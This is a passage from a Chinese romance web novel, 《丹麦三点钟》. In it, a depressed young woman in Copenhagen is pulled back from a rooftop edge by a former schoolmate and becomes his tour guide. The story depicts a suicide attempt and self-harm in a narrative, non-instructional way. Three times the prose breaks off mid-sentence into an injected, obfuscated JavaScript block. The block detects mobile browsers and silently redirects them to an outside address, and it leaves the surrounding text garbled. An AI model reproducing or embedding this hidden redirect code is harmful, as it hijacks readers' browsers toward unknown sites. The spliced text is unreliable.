《丹麦三点钟》 1. 3AM 《丹麦三点钟》 文/晏菩 2025.1.15 1.「3AM」 这是哥本哈根一个普通的雪天。 早上八点,闹钟响后三秒不到就被高幸按掉了。松软的被子遮住她尚未清醒的睡脸,一头黑发乱七八糟地铺散在枕头上。 过了会儿,被窝里伸出无力的手指,将枕边的手机扒拉几下,舒缓的鼓点声流淌而出。 随机播放的第一首歌,第一句歌词就是“Idon''twannawakeup”,相当符合高女士当下的心情。 一首歌的时间过去,高幸总算从床上爬了起来,拖着沉重的步伐来到窗前,屋外细雪纷飞,将一排排五颜六色的公寓笼罩在茫茫白雾中。 高幸低头看了眼手表,想起昨晚房东的叮嘱,迅速地换好衣服,冲进洗手间梳洗。 出门前,她随意照了下镜子,黑色羽绒服,黑裤子,深蓝色的毛线帽,棕色雪地靴,自从来到丹麦,她全身上下就没什么明亮的色彩。 张扬都成了过去式。 以前还能好好打扮下自己,现在,她连口红都懒得涂,掏出防风口罩戴上,整个人就露出一双睡意惺忪的眼睛。 手刚碰上门把,身后传来一句蹩脚的“早上好,高姐姐”。 高幸回过头,笑着回应,“早上好,小笛。” 名叫小笛的小女孩皱眉思考了会儿,最终还是用英文问了高幸,“你要去哪儿?” “我去给你买早餐。” “早餐。”小笛眼睛一亮,又重复了一遍“早餐”的发音,“你教过这个词。” “是的,小笛要好好复习我教过你的词语哦。”小笛才七岁,高幸跟她说话的时候,习惯性半蹲,也不知是不是因为清晨低血糖,站直的时候脑子有些眩晕。 “好的,我这就去复习。” “小笛真乖。” 高幸撑着门框缓了下,才开门走出去。 她在地下车位找到自己的自行车,戴好手套,这样的冰雪天对于骑行人来说是一大考验。 丹麦的公共交通实在昂贵,骑车可以省下不少钱,所以一个小时内的路程,高幸都靠自行车出行。她这辆自行车还是从隔壁退租的留学生那儿收来的二手车,原车主爱惜得很好,跟新的差不多。 来哥本哈根不过十天的时间,高幸已经对周边轻车熟路,这家烘焙店更是来了不下五次了。骑车将近十来分钟,抵达后,高幸扯出兜里的纸巾擦了擦眼泪。 她有迎风泪的毛病,从初中开始,她每天都骑车上学,冬天骑到学校,眼泪掉了满脸,不知道的还以为她受什么委屈了,其实只是因为迎风泪。 挑了小笛最爱吃的豆蔻包和可颂,结账的时候,高幸听到身后的两个人在聊天。 他们在聊死亡。大概是其中一个人的同事最近发现在家烧炭自杀了,大家虽然感到可惜,但也见怪不怪。 新鲜出炉的早餐被高幸装进保温袋里,路过聊天的两人时,高幸听到他们说了一句话,翻译成中文大意是“好死不如赖活着”。 她浅浅笑了下,推门走了出去。 回去的路上,高幸不小心骑到一块冰面上,车轮打了滑,好不容易用身体重心将车身稳住,结果转弯处突然冲出来一辆车,高幸将车头往旁边一转,还是摔倒在地。 骑车的青少年急刹住,摘下口罩问她,“还好吗?” 高幸坐在地上揉了揉脚踝,实诚道,“还好,就是屁股摔得有点痛。” 青少年开怀一笑,下车走到她面前,握住她的胳膊把人从地上带起来,又检查了下她的自行车,“没摔坏。” “那可真是万幸。”高幸的手掌有些擦伤,她需要快点回家上药。 跨上自行车,正准备离开,青少年叫住了她,“我们见过吗?” 高幸盯着他的一双碧绿的眼眸,笃定地说:“没有。” 青少年挑眉,“行吧,我想我应该会记起来的。” 到公寓后,尾椎骨的疼痛后知后觉地袭来,高幸捂着后腰龇牙咧嘴,“以前练舞也不至于摔一下就成这样吧。” 很快,这股疼痛蔓延到了心口,高幸猛地抓紧胸前的衣衫,大口喘息着,背脊渗出汗水,她加快步伐进了电梯。 进到屋子,她连早餐都没来得及放下,迅速冲进卧室,从床头柜里掏出一瓶药,倒了几颗在手中,干咽了下去。 一杯水递到了她面前。 “谢谢你,小笛。” “高姐姐,你生病了吗?”小笛指着药瓶说,“妈妈说生病的人才会吃药。” 高幸把药瓶丢进柜子里,牵起小笛的手,“一点小病,没事的。” “小笛也有病,小笛以前的同学们都说我笨,脑子不好。” “没有呀,姐姐觉得小笛很聪明的。” 高幸把她带到餐桌前,“姐姐买了小笛最爱吃的早餐。” “谢-谢-你。”小笛一字一顿地说。 尽管她的普通话还是分不清四个声调,但已经能记住简单的词汇了,比高幸想象中要好。 “爸爸妈妈什么时候回来陪小笛呢?”小笛吃得满嘴都是黄油。 高幸给她冲泡完奶粉,擦擦她的嘴角,“后天就回来了。” 小笛的父母都是移民的华裔,做着对外贸易的工作,经常出差,高幸为了省住宿费,就住在他们家照顾小笛的起居,顺便教她中文。 他们家还有个长子,在哥本哈根大学念书,所以一家人的房子也租在了哥大附近。 “哥哥说今天下午要接小笛出去玩,高姐姐要不要和我们一起?” 高幸简单做了个三明治作为自己的早餐,一口咬下去,溏心蛋的蛋液混在沙拉酱中,口感绵密,但高幸此时吃不出来任何味道。 “哥哥什么时候来接你呀?” 小笛看了下她的儿童手表,上面还保留着哥哥李听墨发来的消息,“一点钟。” “那你哥哥要来吃午饭吗?” “我问问他。” 小笛拨通了李听墨的电话,“哥哥。” “喂小笛,怎么了?” “你中午要来吃饭吗?” 李听墨似乎在外面,四周夹着些许嘈杂的人声,“中午哥哥要和朋友一起吃饭,吃完来接你,对了,高幸要一起吗?” 小笛看向高幸,眨巴眨巴眼睛。 高幸对着她的手表委婉拒绝:“小笛的哥哥你好,我下午还有些事,就不去了,你和小笛好好玩。” 她到现在还没见过李听墨,两人说话都保持着基本的礼貌。 “行,麻烦你这段时间照顾小笛了。” “应该做的。” “你——”李听墨似乎还想说些什么,高幸隐隐听到对面有一个男声在和他交流,于是他很快止住话头,“那先这样吧,小笛,在家和姐姐乖乖的哦。” “好的哥哥。” 饭后,高幸做了份水果拼盘端到书房,教了小笛一些中文的基础拼读。 小笛语言能力不太好,虽然从小在丹麦长大,却始终学不会丹麦语,只能去英文教学的国际学校就读。 中文对她来说就更吃力了。 高幸觉得自己为数不多的优点就是有耐心,18岁上大学开始她就自己接了家教,还在学校附近的舞蹈室当兼职老师,无论遇到什么样的学生,她都不会发火,总是能游刃有余地解决。 一上午就学了四个生词,小笛学了就忘,高幸依然能不厌其烦地给她重新讲解。 一点钟,李听墨准时到家里来接小笛,大概是第一次见面,他还给高幸带了份礼物——哈利波特的乐高。 高幸受宠若惊,“谢谢,我很喜欢乐高。” 她是真的喜欢乐高,打工挣的第一桶金就给自己买了街景系列的乐高。 “我中文很好,你可以跟我说中文。”李听墨的名字听起来斯斯文文的,但人却长得高大阳光,笑起来露出标准的八颗牙。 他摸了摸小笛的脑袋,“我妹妹最近怎么样?” “挺好的,学习认真,吃饭也认真。”高幸笑着说,“睡觉也睡得香。” “那就好。”李听墨接过小笛的书包,“那我们先走了,晚上要一起吃饭吗?” “晚上我约了人,不好意思啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042613|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没事。” 高幸撒谎了,她没有约人,但她实在太疲惫了,没有精力进行任何社交。 等到小笛他们走后,高幸终于长长地松了口气。 卧室门上了锁,窗外的雪已经停了,天空灰白一片,高幸看见窗户上自己浅淡的倒影。 她眨眼,倒影也眨眼。 呆滞的,木讷的。 像是一个被抽真空的干瘪包装袋,丁点气力都无,呼吸也变得迟钝而疲累。 浑身都疼,一百斤不到的体重此时却像灌了铅一般沉。胸口的窒息感又涌了上来。高幸缩在被窝里,把自己紧紧包裹着,却察觉不到丝毫温暖。 她闭上眼,一波波潮水便淹没了她,呼吸暂停的几秒里,手机突然震动。 高幸猛地睁眼,呼吸急促,咽下的唾液呛到气管里,剧烈咳嗽起来,咳到满脸通红,咳到干呕。 手机又震动了一下。 高幸抹去眼角溢出的泪水,费劲地拿过手机。 屏幕上映出她狼狈不堪的脸,人脸识别后,上面赫然呈现两条信息。 -你到底什么时候回来?长这么大连家都不知道回。 -白养你了。 床单被攥紧。 而后又忽然卸掉全部力气,倒在了床上,空洞无神。 …… 高幸也不知道自己是睡着了,还是昏迷了过去,再次醒来已经是凌晨两点。 眼前漆黑一片,窗帘露出缝隙,却透不进半点月光。 小笛安全到家了吗? 高幸撑起沉重的躯体,披上外套。 客厅里也没有光,公寓空空荡荡的,门口没有小笛的鞋子。 高幸再度查看了手机,小笛和李听墨都给她发了信息,说是今天玩得有点晚,不回来住了。 她又是一个人了。 高幸赤脚站在客厅中央,这个时间点的哥本哈根寂静无声,落地窗外看不到一盏灯火。 其实她今天一点都不难过,只是有些累。 好想看星星。 她活了26年,还没怎么看过星星。 被这没来由的念头牵引着,高幸反应过来时,已经走出社区百余米,她低头一看,自己只穿了薄绒睡衣,零下的天气,却感觉不到寒冷。 漫无目的地走着,不知道走到哪儿了,似乎是一栋楼的顶层天台,四周漆黑空旷,什么也看不清。 如同提线木偶,一步一步,笨拙而迟缓地靠近天台边缘。 她垂眸,底下是深渊。 仅存的一丝理智在询问她,会砸到人吗?会影响别人吗?换个地方吧? 她忽然想起小学时候在日记本里写了无数个“我好想死”,后来何柔偷翻她的日记本,发疯似的把日记本砸到她身上,“你想死就去死,吓唬谁啊?” 此后她虽数次接近死亡,却再也没提过“死”这个字眼。 雪落下的瞬间,高幸也像那漫天飘零的雪花,摇摇欲坠。 泪滴在手背上,冰冰凉凉。 在她的身子快要向前倾倒时,一条胳膊忽然横过腰间,用劲往后一带。 后背跌倒在一具厚实的躯体上,高幸的意识也被撞散,她仰面看着雪花朝她的眼眸坠落。 冻得通红的手掌缓缓抬起来,试图去接住纷扬细雪。 被她垫在身后的人倒也不恼,腾出胳膊,脱下自己的羽绒服罩着高幸。 接触到衣服余留的温热体温,高幸才后知后觉感到寒冷。 她慢吞吞地侧过头,对上男人温和的眼眸。 “几点了?”她问。 “凌晨三点。”他答。 “还冷吗?” 高幸缩在宽大厚实的羽绒服里,摇摇头,“不冷了。” “我叫温让。” “我知道。” 高幸想了想,还是说道:“我叫高幸。” “我知道。”明明隔得很近,她却看不清温让的表情,只有那道熟悉得不能再熟悉的声线敲在心上,“幸运的幸,对吗?” 凌晨三点钟,哥本哈根一个普通的雪夜。 明明不见星辰,却见星辰。 2. 2AM 「2AM」 一个钟头后,高幸坐在了一家中国人开的面馆里,在这异国他乡,她倒没想到自己还能吃上一碗正宗的牛肉笋丝面。 刚出锅的面还冒着热气,葱花和卤牛肉的香味在鼻尖环绕,高幸咽了咽口水,食欲就这样被勾了起来。 温让端着自己的面过来,拉开凳子,在高幸对面坐下。 他摘下围裙,擦了擦手,“好久没煮过面了,你尝尝味道怎么样。” 高幸先吃了块牛肉,卤汁充斥在口中,她满足地眯起眼,然后卷起一筷子面往嘴里塞。 “慢点吃,别急。”温让给她倒了杯温水递过去,“味道还行?” 高幸点点头,嘴里塞得鼓鼓的,含糊不清道:“好吃。” 温让低头一笑,“那就好。” 高幸忍不住用余光观察温让,他吃饭也很注重仪态,端坐着,不发出声响,斯文有礼貌,一看就是家教很好的男生。 店里开了暖气,再加上吃了热乎的面,高幸有些冒汗,但她没有脱下温让的羽绒服,只是将宽松的袖口撸上去,露出一截细瘦的胳膊。 她的左手腕带着运动手表,刚好挡住伤疤。 两人默默吃着面,相对无言。 喝完最后一口面汤,高幸放下碗,她很久没有这么好的食欲了。 “温让,谢谢你。” 温让低头吃面,高幸才得以看见他有些凌乱的发顶和翻折进去的衣领,这样混乱的夜晚,他似乎也没有看上去那么体面。 “不客气。” 温让的笑容总是很温暖,她很早就知道了。 “这家面馆是……你开的?” “不是。”温让说,“好朋友家里开的,他们移民后就在这边开中餐厅。” “挺好的,我会常来的,这里离我住的地方也不远。” 高幸打量着四周,装潢很简单,米色的墙上贴着双语菜单,红棕木桌上也摆着中式调味料,置身一间小小的中餐馆,她难得感受到了温馨。 “你来这边多久了?”温让问。 “十天。”高幸又问道,“你呢?” “我昨天刚到。”温让看了眼她面前的空碗,“还要吗?” “我吃饱了。” “丹麦的餐食吃得习惯吗?” “还行。”高幸说,“我借住在一个华裔家庭,多数时候都是自己在家里做一些中餐,毕竟这边物价太高了。” “确实,我昨天在路边小吃摊买了一个煎饼,你猜多少钱?” 高幸比了个数字,“60?” “差不多。”温让笑得无奈,“一个饼都要六十块钱,也是让我见识到了发达国家的消费水平。” 本科时期,高幸就听说过温让的家庭背景,几十块钱的煎饼对他来说根本不值一提,她明白温让只是顺着她的话在说。 只要他想,他能接住任何人的话。 高幸思索着询问,“那你……是过来旅行的吗?” “算是吧。”温让说,“办了30天旅游签,但还不确定具体要呆多久,你呢?” “我也是旅游签。”高幸说,“40天。” “那你现在应该对这里比较熟。”温让胳膊交叉着搭在桌子上,身子微微前倾,“高幸,我是个路痴。” “啊?”高幸怔怔地看着他。 “你最近有时间吗?” “除开照顾小孩,其他时间都有空的。” “可以请你当我的导游吗?七天就好,我可以付工资。” 或许是熬夜的原因,温让的嗓音有一丝低哑,眼睛却依然温柔得发亮。 被他用这样的眼神看着,高幸莫名有些紧张,她双手捧着水杯,小口小口喝着,喝完后,温让依然没有挪开眼神。 “好。”高幸说,“但是我不要钱。” “你需要什么,可以告诉我。” “暂时还没想好。” “那我就先欠着。” 温让起身,端起两人的碗筷,“反正还有将近一个月的时间可以思考。” “温让。”高幸跟着站起来,望着他颀长的背影,“但是我没有当导游的经验,如果……” “你可以做好的。”温让侧过身子,“我相信你。” 说完,温让便进了后厨洗碗,高幸无事可做,坐在位置上撑着脑袋发呆。 外面的天空微亮,日出前的气温很低,温让不知从哪儿找来一件外套,随意套上后,他轻拍高幸的肩膀,“走吧,我送你回去。” 就在温让准备推开门的时候,高幸忽然捏住他的袖口,“温让。” “怎么了?” 这家店像是隔绝了两个世界,她在里面短暂地汲取了温暖,走出去,又将面对鸡零狗碎的现实。 温让察觉到她的不安,隔着厚实的衣服握住她的左手腕,安抚道,“不怕。” 彻夜未眠的脸色并不好看,她的眼皮都有些浮肿。 一束光就这样毫无预兆地穿透门窗,射进屋子里,落在两人中间,泾渭分明的一道界限。 高幸垂下目光,温让没有松手,而是带着她的手伸向面前的门。 只要她稍稍用力,就能将门推开。 身体传来尖锐的刺痛。 高幸倏地收回手,挡住日出的光芒。 “方便告诉我你住在哪儿吗?”温让耐心十足。 高幸念了个地址。 温让在手机上搜索了会儿,“能喝咖啡吗?” 高幸点点头。 “你住的那边有一家咖啡店很有名,我们慢慢走过去,那边刚好开门。”温让把手机递到她面前,“丹麦的咖啡都挺不错的,可以的话,我们挨着打卡这些店,怎么样?” 高幸总觉得有些不对劲,但又说不出来。 “怎么样啊?导游小高。”温让尾音上扬,等她回应。 “好。”高幸鼓起勇气,“那家店我去过,我带你过去。” 温让很高,身量看着怎么也有185,高幸168的个子穿上他的长款羽绒服,刚好遮住小腿,露出短短的一截粉色薄绒睡裤,瞧着有些不伦不类,好在这个时间点,街上没什么人。 温让放缓了步伐,稍稍落后高幸半步距离。 日出时分,万物复苏。 落雪后的哥本哈根难得放晴,一轮剔透红日挂在低矮的屋顶中间。 周边的店铺大门紧闭,已经有人前来扫雪,看上去不像环卫工人。零星几辆自行车路过,每个人都包裹得严严实实,朝彼此挥挥手问好。 一切又充满了希望。 高幸踩在积雪上,低头看着自己和温让落下的脚印,并排着的脚印清晰可见,过不了多久就会消散。 她都明白的。 “高幸,抬头看看。”温润的嗓音落在耳边。 抬头那瞬,宽大的手掌挡在她的额前,遮住了多余的刺眼的光,好让她能看清眼前的美景。 湛蓝天际下,是一排排斑斓的房屋,红橙绿蓝,童话般的色彩。 而升起的红日正好落在道旁的枯枝上。 她看见枯枝上挂着的冰锥子开始融化,雪水滴落那瞬,心脏似乎也空了一拍。 “是不是很美?” “嗯。” “活着,才可以看更美的世界。” 高幸停下脚步,认真地注视着温让的双眼,“可是温让,不是我不想好好活着,我有病。” 她坦诚无比。 “那很巧啊,其实我也有病。” 长街空荡,呼出的气息都化作白雾。 高幸忽而笑了。 昨晚,换做是任何一个人站在天台,温让都会救。他的安慰,他的陪伴,都是出于他本人的善良。 “谢谢你,温让。” 高幸接受了他的全部好意,就像以往一样,悄悄藏进心里最深处。 “不要总对我说谢谢,我是有私心的。” “什么私心?” “比如,我想让你当导游,这还不算私心?” “不算。”高幸斩钉截铁,“你帮了我很多,这都是我应当还的人情。” 温让没有接话。 “今天的咖啡,我请你喝。”高幸说。 “好。” 到了咖啡店门口,高幸下意识问道:“你喝澳……”然后又顿住,“你想喝什么?” “一杯Ke ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042614|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' nya水洗吧。”温让说。 “hey,这么巧。” “高姐姐!” 两道声音同时从门边传来。 高幸和温让一同回头。 “听墨。” “小笛?!” 李听墨牵着小笛,两人一手一杯热饮。 “你们认识?”高幸转头看向温让。 “听墨的爸妈和我爸妈是好朋友。”温让解释道,“昨天也是他来接机的。” 李听墨若有所思地看着他俩,“所以你俩也认识?以前的同学?” “高中校友。”高幸说。 “高中校友都能在哥哈相遇?这不是缘分是什么?” 李听墨是个很直接的人,戏谑都摆在脸上。 高幸笑笑,没再接话,转身走向点单区。 李听墨凑近温让,“不熟?还让人家穿你的衣服?” 温让双手揣进衣兜,“这几天你不用陪我了。” “什么意思?你爸妈可是特意叮嘱我……” “高幸是我的导游。”温让脸上的笑意收了不少。 李听墨了然,“明白了。”说完,他低头看着小笛,夹起声音问,“小笛,这段时间就由哥哥照顾你,怎么样?” 小笛瞪圆了双眼,疑惑道:“高姐姐呢?” “高姐姐有别的事要做。” “可是我更想要高姐姐,她漂亮,人也好,对我也很好。” “……” 李听墨瞬间板着脸,“我丑?我对你不好?” “呃……” 这声犹豫的“呃”彻底让李听墨心灰意冷。 “扑哧。”温让在旁边笑出声来。 “怎么这么开心?”高幸拎着两杯咖啡走过来,递给温让一杯,“给。” “谢了。” “高姐姐,我哥哥说——嗷。”小笛委屈巴巴地捂着胳膊,“哥哥你干嘛掐我的肉肉。” 李听墨欲盖弥彰地咳了两声,“小笛最近心情不好,正好要放圣诞假了,我打算带她去挪威散散心,我爸妈也去。” “小笛,你怎么了?”高幸半蹲着问她,“有什么不开心的事吗?” 小笛看看正朝她一个劲使眼色的李听墨,摇摇头,“姐姐,我没事,你和这个哥哥好好玩吧。” “小笛真乖。”李听墨捏捏她的小手,“走,哥哥带你去吃佩尔森大叔家的三明治。” “好耶!” 看着一大一小离去的背影,高幸有些摸不清头脑。 “高幸?” “嗯?” “我们的旅程什么时候开始呢?” “你让我想想。” “好的,不急,你想好再联系我。” “那我们……是不是需要交换一下联系方式?” “联系方式?”温让神情有些迷惑,“我们不是早就有了吗?” 这下轮到高幸迷惑了,“是、是吗?” 温让笑了,“大概是我不发朋友圈,所以你忘了我俩是好友了。” 或许是病情加重,高幸忘记了一些事,她确实不记得自己跟温让加过好友。 “小高导游在想什么?怎么看上去有很多心事?”温让探头到高幸面前,“还在想我俩加好友的事吗?” “没有。”高幸后退一步,“你对旅行有什么要求吗?” “吃好喝好玩好就行了,没有别的什么要求,我很听导游的话。” 高幸完全抵抗不了他温柔的笑容。 “那我回去整理好攻略发给你看看吧。” “你现在最需要做的一件事情是——好好睡觉。”温让的手指停留在她的下眼睑,“这里,都冒出黑眼圈了。” “没关系。” “有关系的,小高导游如果精力不足,怎么带领我游遍丹麦?”温让喝了口咖啡,“所以,乖乖睡一觉,好吗?” 高幸想起刚才李听墨和小笛说话时突然夹起来的声音,她总算反应过来温让不对劲的地方了。 “温让。” “怎么了?” “你有没有觉得你跟我说话——”高幸皱着一张脸看着他,“像在哄小宝宝。” 3. 1AM 「1AM」 高幸不确定温让是否还记得两人以前为数不多的交集。 她认识温让已经很多年了,这么多年来,温让留在高幸记忆中的关键词一直是:游刃有余。 无论是应对学业还是人际关系,他永远都是从容的,几乎没有出错的时候。 她曾在不被他看见的地方观察过他许多次,没有哪一次出现现在这样的表情——片刻怔愣后,哑然失笑。 高幸察觉到自己用词不妥,她和温让是截然相反的人,温让是游刃有余,而她总是接连碰壁。 她说话直来直往,很容易得罪人。 “小宝宝”明显不适合用在形容他俩关系的句子中。 “抱歉。”高幸说,“我用错词了。” “不用道歉。”两人并肩走着,温让绕到靠近车道的一侧,“我觉得你说得没错。” “嗯?” “我确实在哄你。” 高幸的耳朵瞬间红了。 “如果你不喜欢我这样对你说话,我可以改。” “不、不是不喜欢。”高幸的头都快埋进咖啡杯里了,“就是有些不习惯。” “我理解,我也有些不习惯,还没这样哄过人。”温让怕她会更加不自在,装作没看见她的脸红,直视前方说道,“上次哄的还是我的小侄女儿。” 高幸反应过来了,温让只是把她当做一个小孩子。 这样也挺好的,人与人需要保持一点距离,凑近了看,谁都是面目全非的,她不希望温让触碰到她消极至极的那一面。 “温让,明天就开始吧。” “旅行?” “对。”高幸弯起眼睛,“我想到第一站要带你去哪儿了。” 温让把她送到小区楼下。 分别后,高幸总觉得忘了什么事,进了电梯才发现没把羽绒服还给温让。 电梯门快合上的瞬间,她瞟到一个小跑过来的人影,高幸立马按住开门按钮。 “谢谢。”跑进来的女生气喘吁吁地道谢。 “不客气。”高幸见她没有按楼层,而她又刚好站在楼层按钮面前,便顺口问道,“几楼呢?需要我帮忙按一下吗?” 女生用纯熟的丹麦语回应道,“很巧,和你一样。” 出电梯后,两人径直朝一个方向走去。 “原来是邻居。”女生有着一双碧绿的眼睛,像猫一样。 自从隔壁留学生搬走后,就没看到新的租客住进来,高幸好奇问了一句,“你是今天才住进来的吗?之前没看到过你。” “是的,我的行李还在下面,等会搬上来。” “需要帮忙吗?”高幸习惯性问道。 女生明显有些意外,“谢谢,但是不用了。” 高幸笑了笑,“好,需要帮助的话,可以敲门叫我。” 她知道大部分北欧人都比较疏离,即使表达友好也带着些边界感,像她这样上来就问陌生人需不需要帮忙搬行李到家里的,可能在有些人眼里是比较冒犯的。 但高幸的脑子转不了那么多弯,多数时候都是下意识询问。 无论是本科住宿报道、毕业后在外租房,还是平时乘高铁飞机,她总会主动帮忙搬行李。 “等等,我想……我需要帮助。”女生最终还是叫住了她。 “我很乐意帮忙。”高幸莞尔。 她跟着女生来到楼下,数了数,差不多十个行李箱,高幸二话不说,一手推一个28寸的箱子,路过台阶,她便挨着将箱子拎上去。 “你看着瘦,力气还挺大的。”女生满眼钦佩。 高幸气都不带喘一下地说,“这都是以前练舞攒下来的体能。” “练舞?你是跳什么舞的?” “以前练街舞的,除了breaking,其他舞种多多少少都接触过。” “好酷。” 高幸笑得腼腆,“谢谢。” “对了,我叫蕾娜,怎么称呼你。” “可以叫我‘Gao’。” 两人上上下下跑了三趟,才把所有东西搬上去。 小区对面的早餐店,男人坐在靠窗的位置,慢条斯理地吃着三明治。 “你就这样看着?也不去帮忙?”李听墨一边给小笛擦嘴,一边数落道,“这可不符合温学长的绅士人设。” 小笛撅起嘴巴,不乐意道,“为什么要让高姐姐搬那么多东西呢?姐姐手上还有伤。” “因为你温让哥不去帮。” “什么时候受的伤?” 两个人的声音重叠到一起,小笛懵懵地看着他们。 “我回头上去帮你看看。”李听墨说,“你俩到底什么关系啊,我可从没见你这么紧张一个人。” 温让垂下眉眼,发了条消息出去,淡淡道,“她不是说了吗,高中校友。” “哦,谁信,不过——听我爸妈说,她特别独立。”李听墨托着下巴思考了会儿,接着说,“而且她刚来这边的时候还被人抢劫过,瞧着怪可怜的,所以我爸妈都没给她算租金,就当是她照顾小笛的报酬了。” 温让的表情没有任何波动,嘴角依然保持着温和的角度。 “温让哥哥。” “怎么了小笛?” “你不开心吗?” “小笛放心,你温让哥哥就没有过不开心的时候,倒是你,小甜心。”李听墨无奈地递给小笛一张纸,“能不能别把黄油酱吃到满脸都是。” 温让笑了笑,“谢谢小笛,我没有不开心。” “好的,你刚才看手机的表情和高姐姐有点像。”小笛说,“她每次出现这个表情,就是代表不开心了。” “小孩儿观察得还挺仔细。”李听墨想起心理医生说过的话,“难不成这还真是高敏感人群的天赋?” 温让抬眼看他,李听墨意识到自己不该在小笛面前说这些,恨不得抽自己几个大嘴巴子。 “小笛很聪明,所以小笛可以告诉我,高姐姐受什么伤了吗?”温让岔开话题。 “前几天她为了保护小笛,被坏人用棍子打到了手臂。”小笛做了个挥杆的动作,“可用力了,高姐姐可痛了。” “什么时候的事?”李听墨皱起眉头,“爸妈这几天不在,怎么发生这么多事?还是上次欺负你的那几个小孩?” 小笛摇摇头,“是小笛去学高尔夫的时候遇到的坏蛋。” “坏蛋真多。” “就是!” 面对义愤填膺的两人,温让还是那副云淡风轻的样子,“听墨,我先走了。” “嗯,那你们明天去哪?记得给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042615|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报备一下,免得你爸妈问起我来,我都不知道该说啥。” 温让看了眼手机里刚发来的消息,“路易斯安娜美术馆。” 美术馆离哥本哈根市区比较远,要坐一个多小时的火车,高幸提前做好攻略,晚上,把路线和时间安排都发给了温让。 等待温让回复的时间里,她还去给小笛温了杯牛奶,带着她复习了中文以及学校老师发来的功课。 温让:「你很会做攻略,都听你的,我会做一个听话的跟班。」 高幸:「真的没问题吗?」 温让:「没问题,放心,我很喜欢你的安排。」 和温让为数不多的直接接触中,高幸听过他说很多次“放心”、“没事”、“可以的”,她几乎可以想象跟温让这样的人合作小组作业会是多么让人安心。 团队的主心骨、定海神针。 这是温让身边的人对他的评价。 而接下来的七天,她将和这样的人一起度过。 高幸捂住心口,深吸一口气。 低落的情绪已经烟消云散,充斥在胸口的是突如其来的兴奋感。 倒不是因为跟温让旅行让她兴奋,她清楚地知道自己又犯病了,从抑郁期到躁郁期,中间的间隔越来越短。 为了纾解内心的躁动,高幸从床上下来,把一百多平的公寓一寸不落地打扫了一遍。 小笛还坐在床上看丹麦语的童话绘本学习语言,眼睁睁看着高幸趴在地上把角落里的一根头发丝扒拉了出来,脸上浮现出诡异而满足的笑容。 小笛不理解,但尊重。 第二天上午,高幸精神抖擞地出现在车站门口,来回踱步了十分钟,她看到不远处走来的清隽男人,挥手喊道,“温让,这儿!” 温让盯着她绽放的笑颜,有一瞬间恍惚,“果……” “什么?” 温让回过神,“没什么,你的包重吗?” 因为要在海边住一晚,两人都背了一个双肩包。 高幸的手放在书包下来往上抬了抬,“还好,不重。” 温让从包里掏出袋面包,顺便把手上的咖啡也递过去,“吃点东西先。” 高幸一看咖啡杯上的标签,正是她在国内最爱点的澳瑞白。 温让和她的一样。 他们有着相似的口味,她一直知道。 他应该只是顺手买了和自己一样的咖啡,高幸没有多想,但仍然为这份善意感到暖心。 车票是高幸订的,两人的位置挨着,高幸什么也没说,温让就把靠窗的位置让给了她。 一路上,两人偶尔闲聊两句,无非是看看窗外一闪而过的风景,感叹一下大自然的鬼斧神工。 一个钟头的车程并不长,但半小时后,温让就睡着了。 高幸见他睡得熟,便戴上耳机,专心欣赏窗外景色。 忽然,肩膀一沉,脖颈处被毛发扫过,痒痒的。 高幸凝神屏息,慌乱间,手指不小心触到了手机屏幕。 目光落在歌词上。 「你靠在我肩膀,深呼吸怕遗忘。」 高幸压根没想过,一米八五的人该以一种怎样别扭的姿态才能靠上她的肩膀。 两颗心脏,同时欢欣雀跃,声如擂鼓。 无人听见。 4. 3AM 「3AM」 高幸本想再坐直一点,让温让能靠得舒服些,她稍微挪动身子,温让就醒了过来。 “抱歉。”温让盯着她的肩膀,“不小心睡着了。” “没关系的。” 其实他就短暂靠了会儿,并没有对高幸造成负担,但温让深感内疚,他比划了个按摩的手势,“我应该还挺重的,帮你按一下肩膀?” “不用不用……” “我按摩的手艺还挺好的。”温让神情温柔,“真的不试一下吗?” 高幸也不希望他为这点小事自责,稍稍侧过身子,“那好,试试你的手艺。” 火车上有暖气,两人都脱了外套,穿着薄薄的毛衣内搭,即使隔着衣物,高幸也能感受到温让的手劲。 “这样可以吗?” “可以的。” 不得不说,温让的按摩技术的确有两下,她这段时间没怎么拉伸,昨天又帮忙提了行李,在他的按揉下,原本酸麻的斜方肌都放松了不少。 “手臂要按一下吗?”温让顺口问道。 前几天带着小笛去打高尔夫碰到群没礼貌的teenager,她的右手臂还挨了一棍子,到现在淤青都还没散。 高幸的左手下意识往右手臂上搭了一下,“手臂不酸,不用按了,你先歇会儿。” 温让注意到她的动作,“受伤了?” “不是。” “有伤的话,尽量不要拖着,尤其是……”温让透过车窗的倒影注意到她落寞的脸色,话音戛然而止。 “高幸。” 